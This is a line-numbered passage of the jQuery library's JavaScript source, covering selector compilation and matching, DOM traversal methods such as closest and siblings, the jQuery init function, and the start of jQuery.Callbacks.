2207
2208 if ( skip && nodeName( elem, skip ) ) {
2209 elem = elem[ dir ] || elem;
2210 } else if ( ( oldCache = outerCache[ key ] ) &&
2211 oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
2212
2213 // Assign to newCache so results back-propagate to previous elements
2214 return ( newCache[ 2 ] = oldCache[ 2 ] );
2215 } else {
2216
2217 // Reuse newcache so results back-propagate to previous elements
2218 outerCache[ key ] = newCache;
2219
2220 // A match means we're done; a fail means we have to keep checking
2221 if ( ( newCache[ 2 ] = matcher( elem, context, xml ) ) ) {
2222 return true;
2223 }
2224 }
2225 }
2226 }
2227 }
2228 return false;
2229 };
2230}
2231
2232function elementMatcher( matchers ) {
2233 return matchers.length > 1 ?
2234 function( elem, context, xml ) {
2235 var i = matchers.length;
2236 while ( i-- ) {
2237 if ( !matchers[ i ]( elem, context, xml ) ) {
2238 return false;
2239 }
2240 }
2241 return true;
2242 } :
2243 matchers[ 0 ];
2244}
2245
2246function multipleContexts( selector, contexts, results ) {
2247 var i = 0,
2248 len = contexts.length;
2249 for ( ; i < len; i++ ) {
2250 find( selector, contexts[ i ], results );
2251 }
2252 return results;
2253}
2254
2255function condense( unmatched, map, filter, context, xml ) {
2256 var elem,
2257 newUnmatched = [],
2258 i = 0,
2259 len = unmatched.length,
2260 mapped = map != null;
2261
2262 for ( ; i < len; i++ ) {
2263 if ( ( elem = unmatched[ i ] ) ) {
2264 if ( !filter || filter( elem, context, xml ) ) {
2265 newUnmatched.push( elem );
2266 if ( mapped ) {
2267 map.push( i );
2268 }
2269 }
2270 }
2271 }
2272
2273 return newUnmatched;
2274}
2275
2276function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
2277 if ( postFilter && !postFilter[ expando ] ) {
2278 postFilter = setMatcher( postFilter );
2279 }
2280 if ( postFinder && !postFinder[ expando ] ) {
2281 postFinder = setMatcher( postFinder, postSelector );
2282 }
2283 return markFunction( function( seed, results, context, xml ) {
2284 var temp, i, elem, matcherOut,
2285 preMap = [],
2286 postMap = [],
2287 preexisting = results.length,
2288
2289 // Get initial elements from seed or context
2290 elems = seed ||
2291 multipleContexts( selector || "*",
2292 context.nodeType ? [ context ] : context, [] ),
2293
2294 // Prefilter to get matcher input, preserving a map for seed-results synchronization
2295 matcherIn = preFilter && ( seed || !selector ) ?
2296 condense( elems, preMap, preFilter, context, xml ) :
2297 elems;
2298
2299 if ( matcher ) {
2300
2301 // If we have a postFinder, or filtered seed, or non-seed postFilter
2302 // or preexisting results,
2303 matcherOut = postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
2304
2305 // ...intermediate processing is necessary
2306 [] :
2307
2308 // ...otherwise use results directly
2309 results;
2310
2311 // Find primary matches
2312 matcher( matcherIn, matcherOut, context, xml );
2313 } else {
2314 matcherOut = matcherIn;
2315 }
2316
2317 // Apply postFilter
2318 if ( postFilter ) {
2319 temp = condense( matcherOut, postMap );
2320 postFilter( temp, [], context, xml );
2321
2322 // Un-match failing elements by moving them back to matcherIn
2323 i = temp.length;
2324 while ( i-- ) {
2325 if ( ( elem = temp[ i ] ) ) {
2326 matcherOut[ postMap[ i ] ] = !( matcherIn[ postMap[ i ] ] = elem );
2327 }
2328 }
2329 }
2330
2331 if ( seed ) {
2332 if ( postFinder || preFilter ) {
2333 if ( postFinder ) {
2334
2335 // Get the final matcherOut by condensing this intermediate into postFinder contexts
2336 temp = [];
2337 i = matcherOut.length;
2338 while ( i-- ) {
2339 if ( ( elem = matcherOut[ i ] ) ) {
2340
2341 // Restore matcherIn since elem is not yet a final match
2342 temp.push( ( matcherIn[ i ] = elem ) );
2343 }
2344 }
2345 postFinder( null, ( matcherOut = [] ), temp, xml );
2346 }
2347
2348 // Move matched elements from seed to results to keep them synchronized
2349 i = matcherOut.length;
2350 while ( i-- ) {
2351 if ( ( elem = matcherOut[ i ] ) &&
2352 ( temp = postFinder ? indexOf.call( seed, elem ) : preMap[ i ] ) > -1 ) {
2353
2354 seed[ temp ] = !( results[ temp ] = elem );
2355 }
2356 }
2357 }
2358
2359 // Add elements to results, through postFinder if defined
2360 } else {
2361 matcherOut = condense(
2362 matcherOut === results ?
2363 matcherOut.splice( preexisting, matcherOut.length ) :
2364 matcherOut
2365 );
2366 if ( postFinder ) {
2367 postFinder( null, results, matcherOut, xml );
2368 } else {
2369 push.apply( results, matcherOut );
2370 }
2371 }
2372 } );
2373}
2374
2375function matcherFromTokens( tokens ) {
2376 var checkContext, matcher, j,
2377 len = tokens.length,
2378 leadingRelative = Expr.relative[ tokens[ 0 ].type ],
2379 implicitRelative = leadingRelative || Expr.relative[ " " ],
2380 i = leadingRelative ? 1 : 0,
2381
2382 // The foundational matcher ensures that elements are reachable from top-level context(s)
2383 matchContext = addCombinator( function( elem ) {
2384 return elem === checkContext;
2385 }, implicitRelative, true ),
2386 matchAnyContext = addCombinator( function( elem ) {
2387 return indexOf.call( checkContext, elem ) > -1;
2388 }, implicitRelative, true ),
2389 matchers = [ function( elem, context, xml ) {
2390
2391 // Support: IE 11+, Edge 17 - 18+
2392 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
2393 // two documents; shallow comparisons work.
2394 // eslint-disable-next-line eqeqeq
2395 var ret = ( !leadingRelative && ( xml || context != outermostContext ) ) || (
2396 ( checkContext = context ).nodeType ?
2397 matchContext( elem, context, xml ) :
2398 matchAnyContext( elem, context, xml ) );
2399
2400 // Avoid hanging onto element
2401 // (see https://github.com/jquery/sizzle/issues/299)
2402 checkContext = null;
2403 return ret;
2404 } ];
2405
2406 for ( ; i < len; i++ ) {
2407 if ( ( matcher = Expr.relative[ tokens[ i ].type ] ) ) {
2408 matchers = [ addCombinator( elementMatcher( matchers ), matcher ) ];
2409 } else {
2410 matcher = Expr.filter[ tokens[ i ].type ].apply( null, tokens[ i ].matches );
2411
2412 // Return special upon seeing a positional matcher
2413 if ( matcher[ expando ] ) {
2414
2415 // Find the next relative operator (if any) for proper handling
2416 j = ++i;
2417 for ( ; j < len; j++ ) {
2418 if ( Expr.relative[ tokens[ j ].type ] ) {
2419 break;
2420 }
2421 }
2422 return setMatcher(
2423 i > 1 && elementMatcher( matchers ),
2424 i > 1 && toSelector(
2425
2426 // If the preceding token was a descendant combinator, insert an implicit any-element `*`
2427 tokens.slice( 0, i - 1 )
2428 .concat( { value: tokens[ i - 2 ].type === " " ? "*" : "" } )
2429 ).replace( rtrimCSS, "$1" ),
2430 matcher,
2431 i < j && matcherFromTokens( tokens.slice( i, j ) ),
2432 j < len && matcherFromTokens( ( tokens = tokens.slice( j ) ) ),
2433 j < len && toSelector( tokens )
2434 );
2435 }
2436 matchers.push( matcher );
2437 }
2438 }
2439
2440 return elementMatcher( matchers );
2441}
2442
2443function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
2444 var bySet = setMatchers.length > 0,
2445 byElement = elementMatchers.length > 0,
2446 superMatcher = function( seed, context, xml, results, outermost ) {
2447 var elem, j, matcher,
2448 matchedCount = 0,
2449 i = "0",
2450 unmatched = seed && [],
2451 setMatched = [],
2452 contextBackup = outermostContext,
2453
2454 // We must always have either seed elements or outermost context
2455 elems = seed || byElement && Expr.find.TAG( "*", outermost ),
2456
2457 // Use integer dirruns iff this is the outermost matcher
2458 dirrunsUnique = ( dirruns += contextBackup == null ? 1 : Math.random() || 0.1 ),
2459 len = elems.length;
2460
2461 if ( outermost ) {
2462
2463 // Support: IE 11+, Edge 17 - 18+
2464 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
2465 // two documents; shallow comparisons work.
2466 // eslint-disable-next-line eqeqeq
2467 outermostContext = context == document || context || outermost;
2468 }
2469
2470 // Add elements passing elementMatchers directly to results
2471 // Support: iOS <=7 - 9 only
2472 // Tolerate NodeList properties (IE: "length"; Safari: <number>) matching
2473 // elements by id. (see trac-14142)
2474 for ( ; i !== len && ( elem = elems[ i ] ) != null; i++ ) {
2475 if ( byElement && elem ) {
2476 j = 0;
2477
2478 // Support: IE 11+, Edge 17 - 18+
2479 // IE/Edge sometimes throw a "Permission denied" error when strict-comparing
2480 // two documents; shallow comparisons work.
2481 // eslint-disable-next-line eqeqeq
2482 if ( !context && elem.ownerDocument != document ) {
2483 setDocument( elem );
2484 xml = !documentIsHTML;
2485 }
2486 while ( ( matcher = elementMatchers[ j++ ] ) ) {
2487 if ( matcher( elem, context || document, xml ) ) {
2488 push.call( results, elem );
2489 break;
2490 }
2491 }
2492 if ( outermost ) {
2493 dirruns = dirrunsUnique;
2494 }
2495 }
2496
2497 // Track unmatched elements for set filters
2498 if ( bySet ) {
2499
2500 // They will have gone through all possible matchers
2501 if ( ( elem = !matcher && elem ) ) {
2502 matchedCount--;
2503 }
2504
2505 // Lengthen the array for every element, matched or not
2506 if ( seed ) {
2507 unmatched.push( elem );
2508 }
2509 }
2510 }
2511
2512 // `i` is now the count of elements visited above, and adding it to `matchedCount`
2513 // makes the latter nonnegative.
2514 matchedCount += i;
2515
2516 // Apply set filters to unmatched elements
2517 // NOTE: This can be skipped if there are no unmatched elements (i.e., `matchedCount`
2518 // equals `i`), unless we didn't visit _any_ elements in the above loop because we have
2519 // no element matchers and no seed.
2520 // Incrementing an initially-string "0" `i` allows `i` to remain a string only in that
2521 // case, which will result in a "00" `matchedCount` that differs from `i` but is also
2522 // numerically zero.
2523 if ( bySet && i !== matchedCount ) {
2524 j = 0;
2525 while ( ( matcher = setMatchers[ j++ ] ) ) {
2526 matcher( unmatched, setMatched, context, xml );
2527 }
2528
2529 if ( seed ) {
2530
2531 // Reintegrate element matches to eliminate the need for sorting
2532 if ( matchedCount > 0 ) {
2533 while ( i-- ) {
2534 if ( !( unmatched[ i ] || setMatched[ i ] ) ) {
2535 setMatched[ i ] = pop.call( results );
2536 }
2537 }
2538 }
2539
2540 // Discard index placeholder values to get only actual matches
2541 setMatched = condense( setMatched );
2542 }
2543
2544 // Add matches to results
2545 push.apply( results, setMatched );
2546
2547 // Seedless set matches succeeding multiple successful matchers stipulate sorting
2548 if ( outermost && !seed && setMatched.length > 0 &&
2549 ( matchedCount + setMatchers.length ) > 1 ) {
2550
2551 jQuery.uniqueSort( results );
2552 }
2553 }
2554
2555 // Override manipulation of globals by nested matchers
2556 if ( outermost ) {
2557 dirruns = dirrunsUnique;
2558 outermostContext = contextBackup;
2559 }
2560
2561 return unmatched;
2562 };
2563
2564 return bySet ?
2565 markFunction( superMatcher ) :
2566 superMatcher;
2567}
2568
2569function compile( selector, match /* Internal Use Only */ ) {
2570 var i,
2571 setMatchers = [],
2572 elementMatchers = [],
2573 cached = compilerCache[ selector + " " ];
2574
2575 if ( !cached ) {
2576
2577 // Generate a function of recursive functions that can be used to check each element
2578 if ( !match ) {
2579 match = tokenize( selector );
2580 }
2581 i = match.length;
2582 while ( i-- ) {
2583 cached = matcherFromTokens( match[ i ] );
2584 if ( cached[ expando ] ) {
2585 setMatchers.push( cached );
2586 } else {
2587 elementMatchers.push( cached );
2588 }
2589 }
2590
2591 // Cache the compiled function
2592 cached = compilerCache( selector,
2593 matcherFromGroupMatchers( elementMatchers, setMatchers ) );
2594
2595 // Save selector and tokenization
2596 cached.selector = selector;
2597 }
2598 return cached;
2599}
2600
2601/**
2602 * A low-level selection function that works with jQuery's compiled
2603 * selector functions
2604 * @param {String|Function} selector A selector or a pre-compiled
2605 * selector function built with jQuery selector compile
2606 * @param {Element} context
2607 * @param {Array} [results]
2608 * @param {Array} [seed] A set of elements to match against
2609 */
2610function select( selector, context, results, seed ) {
2611 var i, tokens, token, type, find,
2612 compiled = typeof selector === "function" && selector,
2613 match = !seed && tokenize( ( selector = compiled.selector || selector ) );
2614
2615 results = results || [];
2616
2617 // Try to minimize operations if there is only one selector in the list and no seed
2618 // (the latter of which guarantees us context)
2619 if ( match.length === 1 ) {
2620
2621 // Reduce context if the leading compound selector is an ID
2622 tokens = match[ 0 ] = match[ 0 ].slice( 0 );
2623 if ( tokens.length > 2 && ( token = tokens[ 0 ] ).type === "ID" &&
2624 context.nodeType === 9 && documentIsHTML && Expr.relative[ tokens[ 1 ].type ] ) {
2625
2626 context = ( Expr.find.ID(
2627 token.matches[ 0 ].replace( runescape, funescape ),
2628 context
2629 ) || [] )[ 0 ];
2630 if ( !context ) {
2631 return results;
2632
2633 // Precompiled matchers will still verify ancestry, so step up a level
2634 } else if ( compiled ) {
2635 context = context.parentNode;
2636 }
2637
2638 selector = selector.slice( tokens.shift().value.length );
2639 }
2640
2641 // Fetch a seed set for right-to-left matching
2642 i = matchExpr.needsContext.test( selector ) ? 0 : tokens.length;
2643 while ( i-- ) {
2644 token = tokens[ i ];
2645
2646 // Abort if we hit a combinator
2647 if ( Expr.relative[ ( type = token.type ) ] ) {
2648 break;
2649 }
2650 if ( ( find = Expr.find[ type ] ) ) {
2651
2652 // Search, expanding context for leading sibling combinators
2653 if ( ( seed = find(
2654 token.matches[ 0 ].replace( runescape, funescape ),
2655 rsibling.test( tokens[ 0 ].type ) &&
2656 testContext( context.parentNode ) || context
2657 ) ) ) {
2658
2659 // If seed is empty or no tokens remain, we can return early
2660 tokens.splice( i, 1 );
2661 selector = seed.length && toSelector( tokens );
2662 if ( !selector ) {
2663 push.apply( results, seed );
2664 return results;
2665 }
2666
2667 break;
2668 }
2669 }
2670 }
2671 }
2672
2673 // Compile and execute a filtering function if one is not provided
2674 // Provide `match` to avoid retokenization if we modified the selector above
2675 ( compiled || compile( selector, match ) )(
2676 seed,
2677 context,
2678 !documentIsHTML,
2679 results,
2680 !context || rsibling.test( selector ) && testContext( context.parentNode ) || context
2681 );
2682 return results;
2683}
2684
2685// One-time assignments
2686
2687// Support: Android <=4.0 - 4.1+
2688// Sort stability
2689support.sortStable = expando.split( "" ).sort( sortOrder ).join( "" ) === expando;
2690
2691// Initialize against the default document
2692setDocument();
2693
2694// Support: Android <=4.0 - 4.1+
2695// Detached nodes confoundingly follow *each other*
2696support.sortDetached = assert( function( el ) {
2697
2698 // Should return 1, but returns 4 (following)
2699 return el.compareDocumentPosition( document.createElement( "fieldset" ) ) & 1;
2700} );
2701
2702jQuery.find = find;
2703
2704// Deprecated
2705jQuery.expr[ ":" ] = jQuery.expr.pseudos;
2706jQuery.unique = jQuery.uniqueSort;
2707
2708// These have always been private, but they used to be documented as part of
2709// Sizzle so let's maintain them for now for backwards compatibility purposes.
2710find.compile = compile;
2711find.select = select;
2712find.setDocument = setDocument;
2713find.tokenize = tokenize;
2714
2715find.escape = jQuery.escapeSelector;
2716find.getText = jQuery.text;
2717find.isXML = jQuery.isXMLDoc;
2718find.selectors = jQuery.expr;
2719find.support = jQuery.support;
2720find.uniqueSort = jQuery.uniqueSort;
2721
2722 /* eslint-enable */
2723
2724} )();
2725
2726
2727var dir = function( elem, dir, until ) {
2728 var matched = [],
2729 truncate = until !== undefined;
2730
2731 while ( ( elem = elem[ dir ] ) && elem.nodeType !== 9 ) {
2732 if ( elem.nodeType === 1 ) {
2733 if ( truncate && jQuery( elem ).is( until ) ) {
2734 break;
2735 }
2736 matched.push( elem );
2737 }
2738 }
2739 return matched;
2740};
2741
2742
2743var siblings = function( n, elem ) {
2744 var matched = [];
2745
2746 for ( ; n; n = n.nextSibling ) {
2747 if ( n.nodeType === 1 && n !== elem ) {
2748 matched.push( n );
2749 }
2750 }
2751
2752 return matched;
2753};
2754
2755
2756var rneedsContext = jQuery.expr.match.needsContext;
2757
2758var rsingleTag = ( /^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i );
2759
2760
2761
2762// Implement the identical functionality for filter and not
2763function winnow( elements, qualifier, not ) {
2764 if ( isFunction( qualifier ) ) {
2765 return jQuery.grep( elements, function( elem, i ) {
2766 return !!qualifier.call( elem, i, elem ) !== not;
2767 } );
2768 }
2769
2770 // Single element
2771 if ( qualifier.nodeType ) {
2772 return jQuery.grep( elements, function( elem ) {
2773 return ( elem === qualifier ) !== not;
2774 } );
2775 }
2776
2777 // Arraylike of elements (jQuery, arguments, Array)
2778 if ( typeof qualifier !== "string" ) {
2779 return jQuery.grep( elements, function( elem ) {
2780 return ( indexOf.call( qualifier, elem ) > -1 ) !== not;
2781 } );
2782 }
2783
2784 // Filtered directly for both simple and complex selectors
2785 return jQuery.filter( qualifier, elements, not );
2786}
2787
2788jQuery.filter = function( expr, elems, not ) {
2789 var elem = elems[ 0 ];
2790
2791 if ( not ) {
2792 expr = ":not(" + expr + ")";
2793 }
2794
2795 if ( elems.length === 1 && elem.nodeType === 1 ) {
2796 return jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [];
2797 }
2798
2799 return jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
2800 return elem.nodeType === 1;
2801 } ) );
2802};
2803
2804jQuery.fn.extend( {
2805 find: function( selector ) {
2806 var i, ret,
2807 len = this.length,
2808 self = this;
2809
2810 if ( typeof selector !== "string" ) {
2811 return this.pushStack( jQuery( selector ).filter( function() {
2812 for ( i = 0; i < len; i++ ) {
2813 if ( jQuery.contains( self[ i ], this ) ) {
2814 return true;
2815 }
2816 }
2817 } ) );
2818 }
2819
2820 ret = this.pushStack( [] );
2821
2822 for ( i = 0; i < len; i++ ) {
2823 jQuery.find( selector, self[ i ], ret );
2824 }
2825
2826 return len > 1 ? jQuery.uniqueSort( ret ) : ret;
2827 },
2828 filter: function( selector ) {
2829 return this.pushStack( winnow( this, selector || [], false ) );
2830 },
2831 not: function( selector ) {
2832 return this.pushStack( winnow( this, selector || [], true ) );
2833 },
2834 is: function( selector ) {
2835 return !!winnow(
2836 this,
2837
2838 // If this is a positional/relative selector, check membership in the returned set
2839 // so $("p:first").is("p:last") won't return true for a doc with two "p".
2840 typeof selector === "string" && rneedsContext.test( selector ) ?
2841 jQuery( selector ) :
2842 selector || [],
2843 false
2844 ).length;
2845 }
2846} );
2847
2848
2849// Initialize a jQuery object
2850
2851
2852// A central reference to the root jQuery(document)
2853var rootjQuery,
2854
2855 // A simple way to check for HTML strings
2856 // Prioritize #id over <tag> to avoid XSS via location.hash (trac-9521)
2857 // Strict HTML recognition (trac-11290: must start with <)
2858 // Shortcut simple #id case for speed
2859 rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,
2860
2861 init = jQuery.fn.init = function( selector, context, root ) {
2862 var match, elem;
2863
2864 // HANDLE: $(""), $(null), $(undefined), $(false)
2865 if ( !selector ) {
2866 return this;
2867 }
2868
2869 // Method init() accepts an alternate rootjQuery
2870 // so migrate can support jQuery.sub (gh-2101)
2871 root = root || rootjQuery;
2872
2873 // Handle HTML strings
2874 if ( typeof selector === "string" ) {
2875 if ( selector[ 0 ] === "<" &&
2876 selector[ selector.length - 1 ] === ">" &&
2877 selector.length >= 3 ) {
2878
2879 // Assume that strings that start and end with <> are HTML and skip the regex check
2880 match = [ null, selector, null ];
2881
2882 } else {
2883 match = rquickExpr.exec( selector );
2884 }
2885
2886 // Match html or make sure no context is specified for #id
2887 if ( match && ( match[ 1 ] || !context ) ) {
2888
2889 // HANDLE: $(html) -> $(array)
2890 if ( match[ 1 ] ) {
2891 context = context instanceof jQuery ? context[ 0 ] : context;
2892
2893 // Option to run scripts is true for back-compat
2894 // Intentionally let the error be thrown if parseHTML is not present
2895 jQuery.merge( this, jQuery.parseHTML(
2896 match[ 1 ],
2897 context && context.nodeType ? context.ownerDocument || context : document,
2898 true
2899 ) );
2900
2901 // HANDLE: $(html, props)
2902 if ( rsingleTag.test( match[ 1 ] ) && jQuery.isPlainObject( context ) ) {
2903 for ( match in context ) {
2904
2905 // Properties of context are called as methods if possible
2906 if ( isFunction( this[ match ] ) ) {
2907 this[ match ]( context[ match ] );
2908
2909 // ...and otherwise set as attributes
2910 } else {
2911 this.attr( match, context[ match ] );
2912 }
2913 }
2914 }
2915
2916 return this;
2917
2918 // HANDLE: $(#id)
2919 } else {
2920 elem = document.getElementById( match[ 2 ] );
2921
2922 if ( elem ) {
2923
2924 // Inject the element directly into the jQuery object
2925 this[ 0 ] = elem;
2926 this.length = 1;
2927 }
2928 return this;
2929 }
2930
2931 // HANDLE: $(expr, $(...))
2932 } else if ( !context || context.jquery ) {
2933 return ( context || root ).find( selector );
2934
2935 // HANDLE: $(expr, context)
2936 // (which is just equivalent to: $(context).find(expr)
2937 } else {
2938 return this.constructor( context ).find( selector );
2939 }
2940
2941 // HANDLE: $(DOMElement)
2942 } else if ( selector.nodeType ) {
2943 this[ 0 ] = selector;
2944 this.length = 1;
2945 return this;
2946
2947 // HANDLE: $(function)
2948 // Shortcut for document ready
2949 } else if ( isFunction( selector ) ) {
2950 return root.ready !== undefined ?
2951 root.ready( selector ) :
2952
2953 // Execute immediately if ready is not present
2954 selector( jQuery );
2955 }
2956
2957 return jQuery.makeArray( selector, this );
2958 };
2959
2960// Give the init function the jQuery prototype for later instantiation
2961init.prototype = jQuery.fn;
2962
2963// Initialize central reference
2964rootjQuery = jQuery( document );
2965
2966
2967var rparentsprev = /^(?:parents|prev(?:Until|All))/,
2968
2969 // Methods guaranteed to produce a unique set when starting from a unique set
2970 guaranteedUnique = {
2971 children: true,
2972 contents: true,
2973 next: true,
2974 prev: true
2975 };
2976
2977jQuery.fn.extend( {
2978 has: function( target ) {
2979 var targets = jQuery( target, this ),
2980 l = targets.length;
2981
2982 return this.filter( function() {
2983 var i = 0;
2984 for ( ; i < l; i++ ) {
2985 if ( jQuery.contains( this, targets[ i ] ) ) {
2986 return true;
2987 }
2988 }
2989 } );
2990 },
2991
2992 closest: function( selectors, context ) {
2993 var cur,
2994 i = 0,
2995 l = this.length,
2996 matched = [],
2997 targets = typeof selectors !== "string" && jQuery( selectors );
2998
2999 // Positional selectors never match, since there's no _selection_ context
3000 if ( !rneedsContext.test( selectors ) ) {
3001 for ( ; i < l; i++ ) {
3002 for ( cur = this[ i ]; cur && cur !== context; cur = cur.parentNode ) {
3003
3004 // Always skip document fragments
3005 if ( cur.nodeType < 11 && ( targets ?
3006 targets.index( cur ) > -1 :
3007
3008 // Don't pass non-elements to jQuery#find
3009 cur.nodeType === 1 &&
3010 jQuery.find.matchesSelector( cur, selectors ) ) ) {
3011
3012 matched.push( cur );
3013 break;
3014 }
3015 }
3016 }
3017 }
3018
3019 return this.pushStack( matched.length > 1 ? jQuery.uniqueSort( matched ) : matched );
3020 },
3021
3022 // Determine the position of an element within the set
3023 index: function( elem ) {
3024
3025 // No argument, return index in parent
3026 if ( !elem ) {
3027 return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
3028 }
3029
3030 // Index in selector
3031 if ( typeof elem === "string" ) {
3032 return indexOf.call( jQuery( elem ), this[ 0 ] );
3033 }
3034
3035 // Locate the position of the desired element
3036 return indexOf.call( this,
3037
3038 // If it receives a jQuery object, the first element is used
3039 elem.jquery ? elem[ 0 ] : elem
3040 );
3041 },
3042
3043 add: function( selector, context ) {
3044 return this.pushStack(
3045 jQuery.uniqueSort(
3046 jQuery.merge( this.get(), jQuery( selector, context ) )
3047 )
3048 );
3049 },
3050
3051 addBack: function( selector ) {
3052 return this.add( selector == null ?
3053 this.prevObject : this.prevObject.filter( selector )
3054 );
3055 }
3056} );
3057
3058function sibling( cur, dir ) {
3059 while ( ( cur = cur[ dir ] ) && cur.nodeType !== 1 ) {}
3060 return cur;
3061}
3062
3063jQuery.each( {
3064 parent: function( elem ) {
3065 var parent = elem.parentNode;
3066 return parent && parent.nodeType !== 11 ? parent : null;
3067 },
3068 parents: function( elem ) {
3069 return dir( elem, "parentNode" );
3070 },
3071 parentsUntil: function( elem, _i, until ) {
3072 return dir( elem, "parentNode", until );
3073 },
3074 next: function( elem ) {
3075 return sibling( elem, "nextSibling" );
3076 },
3077 prev: function( elem ) {
3078 return sibling( elem, "previousSibling" );
3079 },
3080 nextAll: function( elem ) {
3081 return dir( elem, "nextSibling" );
3082 },
3083 prevAll: function( elem ) {
3084 return dir( elem, "previousSibling" );
3085 },
3086 nextUntil: function( elem, _i, until ) {
3087 return dir( elem, "nextSibling", until );
3088 },
3089 prevUntil: function( elem, _i, until ) {
3090 return dir( elem, "previousSibling", until );
3091 },
3092 siblings: function( elem ) {
3093 return siblings( ( elem.parentNode || {} ).firstChild, elem );
3094 },
3095 children: function( elem ) {
3096 return siblings( elem.firstChild );
3097 },
3098 contents: function( elem ) {
3099 if ( elem.contentDocument != null &&
3100
3101 // Support: IE 11+
3102 // <object> elements with no `data` attribute has an object
3103 // `contentDocument` with a `null` prototype.
3104 getProto( elem.contentDocument ) ) {
3105
3106 return elem.contentDocument;
3107 }
3108
3109 // Support: IE 9 - 11 only, iOS 7 only, Android Browser <=4.3 only
3110 // Treat the template element as a regular one in browsers that
3111 // don't support it.
3112 if ( nodeName( elem, "template" ) ) {
3113 elem = elem.content || elem;
3114 }
3115
3116 return jQuery.merge( [], elem.childNodes );
3117 }
3118}, function( name, fn ) {
3119 jQuery.fn[ name ] = function( until, selector ) {
3120 var matched = jQuery.map( this, fn, until );
3121
3122 if ( name.slice( -5 ) !== "Until" ) {
3123 selector = until;
3124 }
3125
3126 if ( selector && typeof selector === "string" ) {
3127 matched = jQuery.filter( selector, matched );
3128 }
3129
3130 if ( this.length > 1 ) {
3131
3132 // Remove duplicates
3133 if ( !guaranteedUnique[ name ] ) {
3134 jQuery.uniqueSort( matched );
3135 }
3136
3137 // Reverse order for parents* and prev-derivatives
3138 if ( rparentsprev.test( name ) ) {
3139 matched.reverse();
3140 }
3141 }
3142
3143 return this.pushStack( matched );
3144 };
3145} );
3146var rnothtmlwhite = ( /[^\x20\t\r\n\f]+/g );
3147
3148
3149
3150// Convert String-formatted options into Object-formatted ones
3151function createOptions( options ) {
3152 var object = {};
3153 jQuery.each( options.match( rnothtmlwhite ) || [], function( _, flag ) {
3154 object[ flag ] = true;
3155 } );
3156 return object;
3157}
3158
3159/*
3160 * Create a callback list using the following parameters:
3161 *
3162 * options: an optional list of space-separated options that will change how
3163 * the callback list behaves or a more traditional option object
3164 *
3165 * By default a callback list will act like an event callback list and can be
3166 * "fired" multiple times.
3167 *
3168 * Possible options:
3169 *
3170 * once: will ensure the callback list can only be fired once (like a Deferred)
3171 *
3172 * memory: will keep track of previous values and will call any callback added
3173 * after the list has been fired right away with the latest "memorized"
3174 * values (like a Deferred)
3175 *
3176 * unique: will ensure a callback can only be added once (no duplicate in the list)
3177 *
3178 * stopOnFalse: interrupt callings when a callback returns false
3179 *
3180 */
3181jQuery.Callbacks = function( options ) {
3182
3183 // Convert options from String-formatted to Object-formatted if needed
3184 // (we check in cache first)
3185 options = typeof options === "string" ?
3186 createOptions( options ) :
3187 jQuery.extend( {}, options );
3188
3189 var // Flag to know if list is currently firing
3190 firing,
3191
3192 // Last fire value for non-forgettable lists
3193 memory,
3194
3195 // Flag to know if list was already fired
3196 fired,
3197
3198 // Flag to prevent firing
3199 locked,
3200
3201 // Actual callback list
3202 list = [],
3203
3204 // Queue of execution data for repeatable lists
3205 queue = [],
3206
3207 // Index of currently firing callback (modified by add/remove as needed)
3208 firingIndex = -1,
3209
3210 // Fire callbacks
3211 fire = function() {
3212
3213 // Enforce single-firing
3214 locked = locked || options.once;
3215
3216 // Execute callbacks for all pending executions,
3217 // respecting firingIndex overrides and runtime changes
3218 fired = firing = true;
3219 for ( ; queue.length; firingIndex = -1 ) {
3220 memory = queue.shift();
3221 while ( ++firingIndex < list.length ) {
3222
3223 // Run callback and check for early termination
3224 if ( list[ firingIndex ].apply( memory[ 0 ], memory[ 1 ] ) === false &&
3225 options.stopOnFalse ) {
3226
3227 // Jump to end and forget the data so .add doesn't re-fire
3228 firingIndex = list.length;
3229 memory = false;
3230 }
3231 }
3232 }
3233
3234 // Forget the data if we're done with it
3235 if ( !options.memory ) {
3236 memory = false;
3237 }
3238
3239 firing = false;
3240
3241 // Clean up if we're done firing for good
3242 if ( locked ) {
3243
3244 // Keep an empty list if we have data for future add calls
3245 if ( memory ) {
3246 list = [];
3247
3248 // Otherwise, this object is spent
3249 } else {
3250 list = "";
3251 }
3252 }
3253 },
3254
3255 // Actual Callbacks object
3256 self = {
3257
3258 // Add a callback or a collection of callbacks to the list
3259 add: function() {
3260 if ( list ) {
3261
3262 // If we have memory from a past run, we should fire after adding
3263 if ( memory && !firing ) {
3264 firingIndex = list.length - 1;
3265 queue.push( memory );
3266 }
3267
3268 ( function add( args ) {
3269 jQuery.each( args, function( _, arg ) {
3270 if ( isFunction( arg ) ) {
3271 if ( !options.unique || !self.has( arg ) ) {
3272 list.push( arg );
3273 }
3274 } else if ( arg && arg.length && toType( arg ) !== "string" ) {
3275
3276 // Inspect recursively
3277 add( arg );
3278 }
3279 } );
3280 } )( arguments );
3281
3282 if ( memory && !firing ) {
3283 fire();
3284 }
3285 }
3286 return this;
3287 },
3288
3289 // Remove a callback from the list
3290 remove: function() {
3291 jQuery.each( arguments, function( _, arg ) {
3292 var index;
3293 while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
3294 list.splice( index, 1 );
3295
3296 // Handle firing indexes
3297 if ( index <= firingIndex ) {
3298 firingIndex--;
3299 }
3300 }
3301 } );
3302 return this;
3303 },
3304
3305 // Check if a given callback is in the list.
3306 // If no argument is given, return whether or not list has callbacks attached.
3307 has: function( fn ) {
3308 return fn ?
3309 jQuery.inArray( fn, list ) > -1 :
3310 list.length > 0;
3311 },
3312
3313 // Remove all callbacks from the list
3314 empty: function() {
3315 if ( list ) {
3316 list = [];
3317 }
3318 return this;
3319 },
3320
3321 // Disable .fire and .add
3322 // Abort any current/pending executions
3323 // Clear all callbacks and values
3324 disable: function() {
3325 locked = queue = [];
3326 list = memory = "";
3327 return this;
3328 },
3329 disabled: function() {
3330 return !list;
3331 },
3332
3333 // Disable .fire
